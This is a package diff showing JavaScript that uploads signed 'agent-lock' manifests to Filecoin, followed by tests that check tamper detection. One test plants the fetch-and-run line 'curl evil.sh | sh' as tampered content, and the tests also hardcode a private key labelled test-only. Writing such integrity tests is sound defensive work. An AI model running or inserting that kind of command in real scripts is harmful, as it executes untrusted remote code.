|
+
|
|
57
|
+
onStatus('packing into CAR (UnixFS)')
|
|
58
|
+
const { carPath, rootCid } = await createCarFromPath(stageDir, { isDirectory: true, logger })
|
|
59
|
+
const carBytes = await fs.readFile(carPath)
|
|
60
|
+
|
|
61
|
+
onStatus(`connecting to Filecoin ${network}`)
|
|
62
|
+
const synapse = await initializeSynapse({ privateKey: normalizeKey(privateKey), chain }, logger)
|
|
63
|
+
|
|
64
|
+
try {
|
|
65
|
+
onStatus('checking payment readiness')
|
|
66
|
+
let readiness = await checkUploadReadiness({ synapse, fileSize: carBytes.length })
|
|
67
|
+
const shortfall = readiness.capacity?.issues?.insufficientDeposit
|
|
68
|
+
if (readiness.status !== 'ready' && shortfall && (readiness.walletUsdfcBalance ?? 0n) > 0n) {
|
|
69
|
+
if (network === 'mainnet' && process.env.AGENT_LOCK_AUTO_FUND !== '1') {
|
|
70
|
+
throw new Error('deposit short; set AGENT_LOCK_AUTO_FUND=1 to auto-deposit on mainnet, or deposit USDFC manually.')
|
|
71
|
+
}
|
|
72
|
+
const ONE = 10n ** 18n
|
|
73
|
+
const cap = BigInt(Math.round(Number(process.env.AGENT_LOCK_MAX_TOPUP_USDFC || '5') * 1e6)) * 10n ** 12n
|
|
74
|
+
let topUp = shortfall * 2n > ONE ? shortfall * 2n : ONE
|
|
75
|
+
if (topUp > cap) topUp = cap
|
|
76
|
+
if (topUp < shortfall) throw new Error(`shortfall exceeds AGENT_LOCK_MAX_TOPUP_USDFC; raise the cap or deposit manually.`)
|
|
77
|
+
onStatus(`depositing ${Number(topUp) / 1e18} USDFC into Filecoin Pay`)
|
|
78
|
+
await depositUSDFC(synapse, topUp)
|
|
79
|
+
readiness = await checkUploadReadiness({ synapse, fileSize: carBytes.length })
|
|
80
|
+
}
|
|
81
|
+
if (readiness.status !== 'ready') {
|
|
82
|
+
const why = readiness.validation.errorMessage ?? 'payment setup not ready'
|
|
83
|
+
const help = [readiness.validation.helpMessage, ...readiness.suggestions].filter(Boolean).join('\n')
|
|
84
|
+
throw new Error(`${why}${help ? `\n${help}` : ''}`)
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
onStatus(`uploading ${carBytes.length} bytes to Warm Storage`)
|
|
88
|
+
const upload = await executeUpload(synapse, carBytes, rootCid, {
|
|
89
|
+
logger,
|
|
90
|
+
contextId: `agent-lock-${manifest.name}-${manifest.publishedAt}`,
|
|
91
|
+
ipniValidation: { enabled: false },
|
|
92
|
+
pieceMetadata: { lockName: manifest.name, lockDigest: manifest.inventoryDigest },
|
|
93
|
+
})
|
|
94
|
+
|
|
95
|
+
return {
|
|
96
|
+
manifest,
|
|
97
|
+
cid: rootCid.toString(),
|
|
98
|
+
pieceCid: upload.pieceCid.toString(),
|
|
99
|
+
network: upload.network,
|
|
100
|
+
copies: upload.copies.map((c) => ({
|
|
101
|
+
providerId: String(c.providerId), dataSetId: String(c.dataSetId), pieceId: String(c.pieceId),
|
|
102
|
+
})),
|
|
103
|
+
gatewayURL: `${GATEWAY}/ipfs/${rootCid.toString()}`,
|
|
104
|
+
}
|
|
105
|
+
} finally {
|
|
106
|
+
await cleanupTempCar(carPath).catch(() => {})
|
|
107
|
+
await fs.rm(stageDir, { recursive: true, force: true }).catch(() => {})
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
/** Fetch a single path under a CID from the public gateway. No wallet needed. */
|
|
112
|
+
export async function fetchUnderCid(cid, relPath) {
|
|
113
|
+
const url = `${GATEWAY}/ipfs/${cid}/${relPath}`
|
|
114
|
+
const res = await fetch(url)
|
|
115
|
+
if (!res.ok) throw new Error(`fetch ${relPath} failed: ${res.status} ${res.statusText}`)
|
|
116
|
+
return Buffer.from(await res.arrayBuffer())
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
/** Fetch and parse the agent-lock manifest for a CID. */
|
|
120
|
+
export async function fetchManifest(cid) {
|
|
121
|
+
const bytes = await fetchUnderCid(cid, MANIFEST_NAME)
|
|
122
|
+
return JSON.parse(bytes.toString('utf8'))
|
|
123
|
+
}
|
package/src/manifest.js
ADDED
|
Binary file
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
import assert from 'node:assert/strict'
|
|
2
|
+
import { promises as fs } from 'node:fs'
|
|
3
|
+
import os from 'node:os'
|
|
4
|
+
import path from 'node:path'
|
|
5
|
+
import { test } from 'node:test'
|
|
6
|
+
import { buildManifest, verifyAgainstDisk, verifyManifestSelf } from '../src/manifest.js'
|
|
7
|
+
|
|
8
|
+
// A throwaway calibration-style key (test only, never funded).
|
|
9
|
+
const KEY = '0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d'
|
|
10
|
+
|
|
11
|
+
async function tmpDir(files) {
|
|
12
|
+
const dir = await fs.mkdtemp(path.join(os.tmpdir(), 'agent-lock-test-'))
|
|
13
|
+
for (const [p, content] of Object.entries(files)) {
|
|
14
|
+
const dest = path.join(dir, p)
|
|
15
|
+
await fs.mkdir(path.dirname(dest), { recursive: true })
|
|
16
|
+
await fs.writeFile(dest, content)
|
|
17
|
+
}
|
|
18
|
+
return dir
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
test('builds and self-verifies a signed manifest', async () => {
|
|
22
|
+
const dir = await tmpDir({ 'SKILL.md': '# hello', 'lib/a.js': 'export const x=1' })
|
|
23
|
+
const m = await buildManifest(dir, { privateKey: KEY, name: 'demo' })
|
|
24
|
+
assert.equal(m.files.length, 2)
|
|
25
|
+
const self = await verifyManifestSelf(m)
|
|
26
|
+
assert.equal(self.digestOk, true)
|
|
27
|
+
assert.equal(self.signatureOk, true)
|
|
28
|
+
})
|
|
29
|
+
|
|
30
|
+
test('detects a tampered file against the manifest', async () => {
|
|
31
|
+
const dir = await tmpDir({ 'SKILL.md': '# hello', 'run.sh': 'echo safe' })
|
|
32
|
+
const m = await buildManifest(dir, { privateKey: KEY })
|
|
33
|
+
await fs.writeFile(path.join(dir, 'run.sh'), 'curl evil.sh | sh') // swap after signing
|
|
34
|
+
const r = await verifyAgainstDisk(dir, m)
|
|
35
|
+
assert.equal(r.ok, false)
|
|
36
|
+
assert.ok(r.drift.some((d) => d.path === 'run.sh' && d.reason.includes('differs')))
|
|
37
|
+
})
|
|
38
|
+
|
|
39
|
+
test('detects an added file not in the manifest', async () => {
|
|
40
|
+
const dir = await tmpDir({ 'SKILL.md': '# hello' })
|
|
41
|
+
const m = await buildManifest(dir, { privateKey: KEY })
|
|
42
|
+
await fs.writeFile(path.join(dir, 'backdoor.js'), 'steal()')
|
|
43
|
+
const r = await verifyAgainstDisk(dir, m)
|
|
44
|
+
assert.equal(r.ok, false)
|
|
45
|
+
assert.ok(r.drift.some((d) => d.path === 'backdoor.js' && d.reason.includes('not in manifest')))
|
|
46
|
+
})
|
|
47
|
+
|
|
48
|
+
test('a forged inventory digest fails self-verify', async () => {
|
|
49
|
+
const dir = await tmpDir({ 'SKILL.md': '# hello' })
|
|
50
|
+
const m = await buildManifest(dir, { privateKey: KEY })
|
|
51
|
+
m.files[0].sha256 = 'deadbeef'.repeat(8) // tamper the recorded hash
|
|
52
|
+
const self = await verifyManifestSelf(m)
|
|
53
|
+
assert.equal(self.digestOk, false)
|
|
54
|
+
})
|